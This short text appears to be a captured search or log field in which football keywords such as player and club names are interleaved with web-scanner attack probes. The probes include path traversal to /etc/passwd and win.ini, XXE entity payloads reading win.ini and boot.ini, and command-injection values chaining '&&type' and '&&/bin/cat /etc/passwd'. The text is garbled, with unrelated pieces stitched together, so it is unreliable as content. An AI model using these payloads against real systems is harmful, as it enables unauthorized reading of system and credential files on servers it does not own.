cesvi messi milan liverpool messi's cagliari ronaldo type %systemroot%\win.ini /..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd type %systemroot%\win.ini /..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd.html c:\boot.ini.html <?xml version=1.0 encoding=iso-8859-1?><!doctype xxe_test [<!element foo any><!entity xxe_test system %windir%\win.ini>]><foo>&xxe_test;</foo> /etc/passwd file:///c:/win.ini &&type %systemroot%\win.ini del piero <?xml version=1.0 encoding=iso-8859-1?><!doctype xxe_test [ <!entity xxe_test system %systemdrive%\boot.ini> ]><q>&xxe_test;</q> &&/bin/cat /etc/passwd %systemroot%\win.ini.html